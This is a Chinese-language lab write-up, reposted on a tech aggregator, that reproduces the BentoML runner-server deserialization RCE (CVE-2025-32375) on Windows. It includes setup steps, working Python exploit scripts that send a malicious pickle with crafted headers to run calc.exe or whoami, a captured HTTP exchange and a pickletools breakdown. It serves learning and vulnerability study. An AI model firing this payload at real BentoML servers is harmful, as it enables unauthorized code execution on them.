CVE-2025-32375 | Windows下复现 BentoML runner 服务器远程命令执行漏洞

news2025/5/17 13:28:03

目录

  • 1. 漏洞描述
  • 2. 漏洞复现
    • 1. 安装 BentoML 1.4.7
    • 2. 创建模型
    • 3. 构建模型
    • 4. 托管模型
    • 5. 执行exp
  • 3. POC
  • 4. 补充学习


参考链接:
https://mp.weixin.qq.com/s/IxLZr83RvYqfZ_eXhtNvgg
https://github.com/bentoml/BentoML/security/advisories/GHSA-7v4r-c989-xh26

虽然原作者的复现步骤已经非常详细,但在亲自搭建的过程中仍学到了不少知识,于是写下这篇文章作为学习笔记。若有疏漏或不当之处,欢迎大家指出,一起交流成长。



1. 漏洞描述


BentoML 是一个开源的机器学习模型服务化平台,旨在简化机器学习模型的部署和管理。通过提供一个统一的框架,BentoML 允许数据科学家和开发者快速将训练好的模型打包成可在生产环境中运行的API服务。它支持多种流行的机器学习框架,如 TensorFlow、PyTorch 和 Scikit-learn,并提供了灵活的模型版本管理、自动化的容器化部署以及与云服务的无缝集成。BentoML 使得机器学习模型的生产化变得更加高效和可控,帮助团队加速从实验到实际应用的转变。该漏洞是BentoML 的 runner 服务器中存在不安全的反序列化,攻击者可以通过在 POST 请求中设置特定的标头和参数,可以在服务器上执行任何未经授权的任意代码,这将授予攻击者在服务器上进行初始访问和信息泄露的权限。

影响范围:BentoML <= 1.4.7



2. 漏洞复现



版本要求:

  • python 3.7 - 3.10,不支持 3.12
  • BentoML 1.4.7

(BentoML 在 1.x 系列和 0.x 差别很大,从 BentoML 1.0.0 开始,最低支持的是 Python 3.7。)


windows本机的 python 是 3.10 版本的,所以直接在 windows 的本机搭建环境,攻击机和靶机都是 windows 本机,ip 地址是 192.168.119.1。



1. 安装 BentoML 1.4.7


下载 1.4.7 版本的 zip文件:https://github.com/bentoml/BentoML/releases/tag/v1.4.7

下载到本地后,解压,进入该目录中,在 cmd 中执行命令:pip install .
出现 Successful built 就算是安装成功了:
在这里插入图片描述



2. 创建模型


创建一个 model.py 文件,代码如下:

import bentoml
import numpy as np

class mymodel:
    def predict(self, info):
        return np.abs(info)
    def __call__(self, info):
        return self.predict(info)

model = mymodel()
bentoml.picklable_model.save_model("mymodel", model)

这段代码的功能:将一个自定义的 Python 模型对象 mymodel 保存为 BentoML 可部署格式的模型文件,用于后续的部署、调用或服务化。


执行命令保存这个模型:python model.py
在这里插入图片描述
BentoMLDeprecationWarning 是一个警告并不是真正的错误。这个警告的意思是 bentoml.picklable_model 这个方法已经在 BentoML 1.4 版本中被弃用了,并且在未来的版本中将被移除。不用管这个警告就可以。



3. 构建模型


创建文件 bentofile.yaml ,用来构建前面保存的模型,这个文件的代码如下:

service: "service.py"  
description: "A model serving service with BentoML"  
python:
  packages:
    - bentoml
    - numpy
models:
  - tag: MyModel:latest  
include:
  - "*.py"  


4. 托管模型


创建文件 service.py ,用来托管前面保存的模型,这个文件的代码如下:

import bentoml
from bentoml.io import NumpyNdarray
import numpy as np

model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()

svc = bentoml.Service("myservice", runners=[model_runner])

async def predict(input_data: np.ndarray):

    input_columns = np.split(input_data, input_data.shape[1], axis=1)
    result_generator = model_runner.async_run(input_columns, is_stream=True)
    async for result in result_generator:
        yield result


分别执行下面的命令,来构建和托管这个模型:

bentoml build
bentoml start-runner-server --runner-name mymodel --working-dir . --host 192.168.119.1 --port 5555

以下是执行这两条命令的注意问题:

  1. 执行构建命令 bentoml build 时,还是会遇到上面的警告,也是不用管就可以。出现 Successfully built Bento 时,就是构建成功了。

    在这里插入图片描述

  2. 执行托管命令 bentoml start-runner-server --runner-name mymodel --working-dir . --host 192.168.119.1 --port 5555 时:

    1. 修改 host 参数和 port 参数的值:我搭建在本机 windows 上,直接写了本机的 IP 地址,端口选择一个还没有被占用的就可以。

    2. 执行完同样会出现一些 BentoMLDeprecationWarning ,不用管就好了。在命令刚执行后的几行中,有个 INFO: Starting RunnerServer from "." running on http://192.168.119.1:5555 (Press CTRL+C to quit) ,出现这个就算是成功了。最后光标会停在那里一直闪烁,因为启动的是一个 runner 服务器,会持续监听指定的 ip 和端口,一直运行在前台,直到我们手动停止例如 ctrl + c 。

      在这里插入图片描述

      不放心的话,可以在浏览器中访问 http://192.168.119.1:5555,如果返回下面的页面或者404就算是成功了:

      在这里插入图片描述



5. 执行exp


创建文件 exp.py,exp脚本我在原作者的基础上进行了改动,因为我没有 webhook 服务器,所以执行命令弹出计算器,代码如下:

import requests
import pickle

url = "http://192.168.119.1:5555/"

headers = {
    "args-number": "1",
    "Content-Type": "application/vnd.bentoml.pickled",
    "Payload-Container": "NdarrayContainer", 
    "Payload-Meta": '{"format": "default"}',
    "Batch-Size": "-1",
}

class P:
    def __reduce__(self):
        return (__import__('os').system, ("calc.exe",))

response = requests.post(url, headers=headers, data=pickle.dumps(P()))

print(response)

使用这个脚本的注意事项:

  1. 不要忘记修改url,修改为前面托管模型时执行的命令中,host 和 port 的参数值。
  2. 不想弹出计算器,也可以将执行命令的结果写入一个文件中,只要确保路径存在即可,例如:return (**import**('os').system, ("whoami > F:\\Download\\BentoML-1.4.7\\rce_result.txt",))
  3. 执行 exp.py 时,要另起一个 cmd,之前的 cmd 在监听端口,不能中断服务。

执行结果,弹出计算器就算成功了:
在这里插入图片描述

原作者还提到 Payload-Container 请求头的内容可以换成 PandasDataFrameContainer,也可以触发漏洞。



3. POC

执行exp.py时,抓取了流量包:

POST / HTTP/1.1
Host: 192.168.119.1:5555
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
args-number: 1
Content-Type: application/vnd.bentoml.pickled
Payload-Container: NdarrayContainer
Payload-Meta: {"format": "default"}
Batch-Size: -1
Content-Length: 43

... .........nt...system.....calc.exe...R..HTTP/1.1 200 OK
date: Fri, 11 Apr 2025 05:36:54 GMT
server: uvicorn
bento-payload-meta: {}
content-type: application/vnd.bentoml.DefaultContainer
server: BentoML-Runner/mymodel/__call__/9
content-length: 117

...j.........numpy._core.multiarray...scalar.....numpy...dtype.....i8.....R.(K...<.NNNJ....J....K.t.bC............R..

请求体和响应体是一些乱码,需要自己查看二进制看真实的内容。

关于几个请求头:

  1. Content-Type: application/vnd.bentoml.pickled:是一个自定义格式的请求类型:
    1. application/:表示这是一个媒体类型(MIME type)。
    2. vnd.bentoml.vnd 表示这是一个厂商自定义类型,bentoml 是这个厂商的名字,表明这个格式是 BentoML 专属的。
    3. pickled:意思是 请求体的数据经过了 Python 的 pickle 序列化。
  2. Payload-Container: NdarrayContainer:也是一个自定义的请求头,用来告诉 BentoML 服务端下面请求体的内容类型是一个 Numpy 数组容器
    1. Payload-Container:BentoML 自己定义的 header,用于说明 payload(请求体)要用哪个容器格式来反序列化。
    2. NdarrayContainer:意思是这个请求体是一个用 pickle 或其他方式序列化的 Numpy ndarray 数据。
    3. PandasDataFrameContainer:表示这个请求体是一个序列化后的 Pandas DataFrame(通常是用 pickle 或 json 格式序列化的)。



4. 补充学习


因为请求体中的内容乱码了,又想知道请求体的内容是什么,可以执行下面的 exp1.py:

import requests
import pickle

url = "http://192.168.119.1:5555/"

headers = {
    "args-number": "1",
    "Content-Type": "application/vnd.bentoml.pickled",
    "Payload-Container": "NdarrayContainer", 
    "Payload-Meta": '{"format": "default"}',
    "Batch-Size": "-1",
}

class P:
    def __reduce__(self):
        return (__import__('os').system, ("calc.exe",))
      
# 序列化数据
payload = pickle.dumps(P())

# 创建一个会话,便于抓取请求详细内容
with requests.Session() as s:
    request = requests.Request("POST", url, headers=headers, data=payload)
    prepared = s.prepare_request(request)

    # 打印请求包内容
    print("====== 请求包 ======")
    print(f"{prepared.method} {prepared.url} HTTP/1.1")
    for k, v in prepared.headers.items():
        print(f"{k}: {v}")
    print()
    print(payload)  # 这里是二进制序列化后的内容

    # 发送请求
    response = s.send(prepared)

    # 打印响应包内容
    print("\n====== 响应包 ======")
    print(f"HTTP/{response.raw.version} {response.status_code} {response.reason}")
    for k, v in response.headers.items():
        print(f"{k}: {v}")
    print()
    print(response.text)


执行结果如下:

在这里插入图片描述



可以看到请求体中是使用 pickle 序列化后的 二进制数据:b'\x80\x04\x95 \x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x08calc.exe\x94\x85\x94R\x94.’



用脚本来解一下:

import pickletools

data = b'\x80\x04\x95 \x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x08calc.exe\x94\x85\x94R\x94.'

pickletools.dis(data)

代码解释:

pickletools.dis() 是 Python 提供的一个调试工具,用来反汇编(disassemble)pickle 序列,也就是把 pickle 的字节流翻译成人类能看懂的指令,一步步解释这个 pickle 是怎么构造的。

Pickle 是“二进制协议”不是明文结构:

  • 它不像 JSON / XML 那样是可读文本。
  • 是 Python 内部用来序列化对象的数据格式,结构紧凑、字段省略,很多内容只有通过解释 opcode(指令码)才能知道含义。


这个脚本的执行结果:

在这里插入图片描述



执行结果的解释:

    0: \x80 PROTO      4
    2: \x95 FRAME      32
   11: \x8c SHORT_BINUNICODE 'nt'
   15: \x94 MEMOIZE    (as 0)
   16: \x8c SHORT_BINUNICODE 'system'
   24: \x94 MEMOIZE    (as 1)
   25: \x93 STACK_GLOBAL
   26: \x94 MEMOIZE    (as 2)
   27: \x8c SHORT_BINUNICODE 'calc.exe'
   37: \x94 MEMOIZE    (as 3)
   38: \x85 TUPLE1
   39: \x94 MEMOIZE    (as 4)
   40: R    REDUCE
   41: \x94 MEMOIZE    (as 5)
   42: .    STOP
highest protocol among opcodes = 4
字节位置指令
\x80 PROTO 4使用 Pickle 协议版本 4
\x95 FRAME 32表明后续 32 字节是一个完整的数据帧
\x8c 'nt'反序列化一个短字符串 'nt'(Windows 平台的内置模块)
\x8c 'system'反序列化 'system'(调用命令行命令的函数名)
\x93 STACK_GLOBAL相当于:__import__('nt').system
\x8c 'calc.exe'反序列化字符串 'calc.exe',要执行的命令
\x85 TUPLE1构造一个参数元组:('calc.exe',)
\x52 REDUCE执行:nt.system('calc.exe')(相当于 __import__('nt').system('calc.exe')
\x2e STOP停止反序列化过程


为什么在 pickle 中看到 nt.system 而不是 os.system:

在 Python 中,__import__('os') 会返回操作系统相关的模块(在 Windows 上通常是 nt 模块)。具体来说:

  • Windows 系统中,os 模块的实现是由 nt 模块提供的。因此,os 实际上是对 nt 模块的一个别名。
  • 当你执行 __import__('os').system 时,os 模块会加载 nt 模块,返回的是 nt.system 函数。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2333077.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

某局jsvmp算法分析(dunshan.js/lzkqow23819/lzkqow39189)

帮朋友看一个税某局的加密算法。 传送门 &#xff08;需要帐号登陆的 普通人没授权也看不了&#xff09; 废话不多说直接抓包开干 这里可以看到一个headers中的加密参数 lzkqow23819 以及url路径里面的6eMrZlPH(这个有点像瑞数里面的&#xff09; 还有就是cookies里面的这几个…

AlmaLinux9.5 修改为静态IP地址

查看当前需要修改的网卡名称 ip a进入网卡目录 cd /etc/NetworkManager/system-connections找到对应网卡配置文件进行修改 修改配置 主要修改ipv4部分&#xff0c;改成自己的IP配置 [ipv4] methodmanual address1192.168.252.129/24,192.168.252.254 dns8.8.8.8重启网卡 …

操作系统 4.4-从生磁盘到文件

文件介绍 操作系统中对磁盘使用的第三层抽象——文件。这一层抽象建立在盘块&#xff08;block&#xff09;和文件&#xff08;file&#xff09;之间&#xff0c;使得用户可以以更直观和易于理解的方式与磁盘交互&#xff0c;而无需直接处理磁盘的物理细节如扇区&#xff08;se…

免费多语言文档翻译软件推荐

软件介绍 今天给大家介绍一款文档翻译助手。它能够支持PDF、Word等多种文档格式&#xff0c;涵盖中文、英文、日语等多语言互译。此软件在翻译过程中精选保留文档原貌&#xff0c;每段文字、每个图表的匹配都十分完美&#xff0c;还依托顶尖翻译大模型&#xff0c;让翻译结果符…

安全序列(DP)

#include <bits/stdc.h> using namespace std; const int MOD1e97; const int N1e65; int f[N]; int main() {int n,k;cin>>n>>k;f[0]1;for(int i1;i<n;i){f[i]f[i-1]; // 不放桶&#xff1a;延续前一位的所有方案if(i-k-1>0){f[i](f[i]f[i-k…

【Flask开发】嘿马文学web完整flask项目第4篇:4.分类,4.分类【附代码文档】

教程总体简介&#xff1a;2. 目标 1.1产品与开发 1.2环境配置 1.3 运行方式 1.4目录说明 1.5数据库设计 2.用户认证 Json Web Token(JWT) 3.书架 4.1分类列表 5.搜索 5.3搜索-精准&高匹配&推荐 6.小说 6.4推荐-同类热门推荐 7.浏览记录 8.1配置-阅读偏好 8.配置 9.1项目…

SQL开发的智能助手:通义灵码在IntelliJ IDEA中的应用

SQL 是一种至关重要的数据库操作语言&#xff0c;尽管其语法与通用编程语言有所不同&#xff0c;但因其在众多应用中的广泛使用&#xff0c;大多数程序员都具备一定的 SQL 编写能力。然而&#xff0c;当面对复杂的 SQL 语句或优化需求时&#xff0c;往往需要专业数据库开发工程…

解决:AttributeError: module ‘cv2‘ has no attribute ‘COLOR_BGR2RGB‘

opencv AttributeError: module ‘cv2’ has no attribute ‘warpFrame’ 或者 opencv 没有 rgbd 解决上述问题的方法是&#xff1a; 卸载重装。 但是一定要卸载干净&#xff0c;仅仅卸载opencv-python是不行的。无限重复都报这个错。 使用pip list | grep opencv查看相关的…

NutriJarvis:AI慧眼识餐,精准营养触手可及!—— 基于深度学习的菜品识别与营养计算系统

NutriJarvis&#xff1a;AI慧眼识餐&#xff0c;精准营养触手可及&#xff01;—— 基于深度学习的菜品识别与营养计算系统 NutriJarvis 是一个基于深度学习的菜品识别与营养计算系统&#xff0c;旨在通过计算机视觉技术自动识别餐盘中的食物&#xff0c;并估算其营养成分&…

【LaTeX】

基本使用 \documentclass 类型&#xff1a;文章&#xff08;article&#xff09;、报告&#xff08;report&#xff09;、书&#xff08;book&#xff09; 中文的文章是ctexart&#xff0c;中文字体是UTF8 \documentclass[UTF8]{ctexart} []说明可以省略不写的意思&#xf…

细说STM32单片机FreeRTOS任务管理相关函数及多任务编程的实现方法

目录 一、FreeRTOS任务管理相关函数 1、FreeRTOS函数 2、FreeRTOS宏函数 3、主要函数功能说明 &#xff08;1&#xff09;创建任务osThreadNew() &#xff08;2&#xff09;删除任务vTaskDelete() &#xff08;3&#xff09;挂起任务vTaskSuspend() &#xff08;4&…

uniapp微信小程序基于wu-input二次封装TInput组件(支持点击下拉选择、支持整数、电话、小数、身份证、小数点位数控制功能)

一、 最终效果 二、实现了功能 1、支持输入正整数---设置specifyTypeinteger 2、支持输入数字&#xff08;含小数点&#xff09;---设置specifyTypedecimal&#xff0c;可设置decimalLimit来调整小数点位数 3、支持输入手机号--设置specifyTypephone 4、支持输入身份证号---设…

leetcode-419.棋盘上的战舰

leetcode-419.棋盘上的战舰 文章目录 leetcode-419.棋盘上的战舰一.题目描述二.第一次代码提交三.第二次代码提交 一.题目描述 二.第一次代码提交 class Solution { public:int countBattleships(vector<vector<char>>& board) {int m board.size(); //列数i…

使用uglifyjs对静态引入的js文件进行压缩

前言 因为有时候js文件没有npm包&#xff0c;或者需要修改&#xff0c;只能引入静态的js&#xff0c;那么这个时候就可以对js进行压缩了。我其实想通过vite、webpack等插件进行压缩的&#xff0c;可是他都不能定位到public目录下面的文件&#xff0c;所以我只能自己压缩了。编…

程序加壳脱壳原理和实现

理论 一个可运行的执行文件&#xff0c;至少会有一个代码段&#xff0c;程序的入口点指向代码段&#xff0c;程序运行的时候&#xff0c;从入口点开始执行代码段指令 为了将一个正常的程序进行加壳保护&#xff0c;至少要三部分逻辑配合 1、待加壳保护的程序 2、加壳逻辑 3…

【数据分析实战】使用 Matplotlib 绘制折线图

1、简述 在日常的数据分析、科研报告、项目可视化展示中&#xff0c;折线图是一种非常常见且直观的数据可视化方式。本文将带你快速上手 Matplotlib&#xff0c;并通过几个实际例子掌握折线图的绘制方法。 Matplotlib 是 Python 中最常用的数据可视化库之一&#xff0c;它能够…

数据仓库标准库模型架构相关概念浅讲

数据仓库与模型体系及相关概念 数据仓库与数据库的区别可参考&#xff1a;数据库与数据仓库的区别及关系_数据仓库和数据库-CSDN博客 总之&#xff0c;数据库是为捕获数据而设计&#xff0c;数据仓库是为分析数据而设计 数据仓库集成工具 在一些大厂中&#xff0c;其会有自…

亚洲区域健康人群免疫细胞marker

最近发现一篇文献&#xff0c;作者来自新加坡基因研究所&#xff0c;这篇文章大概是整理了619个亚洲人群的免疫多样性图集&#xff08;AIDA&#xff09;&#xff0c;跨越了7个国家&#xff0c;最终使用了1,265,624个免疫细胞的单细胞数据&#xff0c;并最终确定了8种主要的免疫…

三极管以及mos管

三极管与mos管的高低电平导通判断 &#xff08;1&#xff09;三极管的高低电平导通判断 三极管中有2个PN结&#xff0c;分别称为发射结和集电极结&#xff0c;按材料划分为硅材料三极管&#xff08;硅管&#xff09;&#xff0c;锗材料三极管&#xff08;锗管&#xff09;&am…

PPT模板之--个人简历

还在为制作 PPT 时毫无头绪、对着空白页面抓耳挠腮而烦恼吗&#xff1f;别担心&#xff0c;这里就是你的 PPT 灵感补给站&#xff01;在这个快节奏的信息时代&#xff0c;一份吸睛又高效的 PPT 至关重要&#xff0c;它能在商务汇报中助你赢得先机&#xff0c;在课堂展示时让你脱…